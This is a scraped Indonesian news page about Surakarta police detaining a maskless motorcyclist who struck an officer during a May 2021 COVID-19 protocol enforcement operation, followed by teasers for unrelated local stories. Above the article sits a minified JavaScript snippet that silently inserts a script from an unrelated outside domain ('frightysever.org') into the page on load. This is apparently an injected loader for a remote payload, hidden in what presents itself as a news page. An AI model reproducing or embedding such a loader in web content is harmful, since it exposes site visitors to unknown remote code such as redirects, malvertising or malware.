(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Polres Kota Surakarta mengamankan seorang warga yang tidak memakai masker justru memukul petugas dalam operasi yustisi penegakan protokol kesehatan (prokes) oleh tim gabungan digelar, di Jalan Kiai Mojo Semanggi Pasar Kliwon Solo, Minggu (23/5/2021).
Pada operasi Yustisi yang digelar oleh tim gabungan dari Kodim 0375 Surakarta, Polresta, Satpol PP, dan Satgas COVID-19 Semanggi tersebut melakukan razia menegakkan disiplin prokes dengan menghentikan setiap pengendara kendaraan bermotor yang melanggar guna mencegah penularan COVID-19 di wilayah Solo.
Namun, petugas gabungan saat menghentikan seorang mengendara bermotor yang tidak memakai masker, justru marah-marah dan melawan petugas, sehingga dia langsung diamankan dan dibawa ke Mapolresta Surakarta untuk diperiksa.
Kapolres Kota Surakarta Kombes Pol Ade Safri Simanjutak yang ikut memantau operasi Yustisi di Pasar Kliwon mengatakan kegiatan operasi penegakan prokes yang digelar tim gabungan dari Kodim 0735/Surakarta, Polresta dan Satpol PP, Satgas COVID-19 PPKM Mikro Kelurahan Semanggi di Jalan Kiai Mojo Semanggi, Solo, guna memutus mata rantai penyebaran COVID-19 di daerah-nya.
Baca Juga:
Tingkatkan Minat Baca, Dispersip HSU Gelar Story Telling dan Seminar Literasi
Petugas saat menghentikan seorang pengendara yang tidak memakai masker di Jalan Semanggi Solo. Namun, yang bersangkutan justru marah-marah melakukan pemukulan dan memaki-maki terhadap seorang petugas yang menghentikan pengendara tersebut.
“Pengendara yang memukul terhadap petugas mengenai kepala bagian kiri. Yang bersangkutan langsung diamankan oleh petugas dan dibawa ke Mapolresta Surakarta untuk dilakukan penyelidikan dan menyidikan lebih lanjut terkait potensi tindak pidana yang dilakukan,” tutur Kapolres.
Petugas juga memeriksa dokumen kendaraan bermotor yang bersangkutan tidak bisa menunjukan atau tidak membawa surat-surat kendaraan yang dipakai. Seorang warga ini, bernisial H, warga Semanggi Pasar Kliwon Solo, kini diperiksa di Mapolres Surakarta.
Menurut Kapolres pengamanan seorang warga yang melawan petugas tersebut menjadi pembelajaran semuanya di tengah pandemi COVID-19 saat ini. “Dimana, kami semua harus bisa mengendalikan agar bisa memutus mata rantai penyebaran COVID-19,” ujar Kapolres.
“Penegakan prokes akan kami lakukan terus selama pandemi. Keselamatan rakyat adalah hukum tertinggi. Hal ini, menjadi pedoman kami semuanya petugas yang ada di lapangan, termasuk kerja sama semua pihak atau semua masyarakat,” kata Kapolres.
Tim gabungan dalam penegakan disiplin prokes secara terus dilakukan. “Apa yang kami lakukan dalam rangka memberikan keselamatan terhadap rakyat banyak,” ujar Kapolres. (Antara)
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pimpinan Darah Partai Keadilan Sejahtera (PKS) Kota Banjarbaru membuka pendaftaran bakal… Read More
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
This website uses cookies.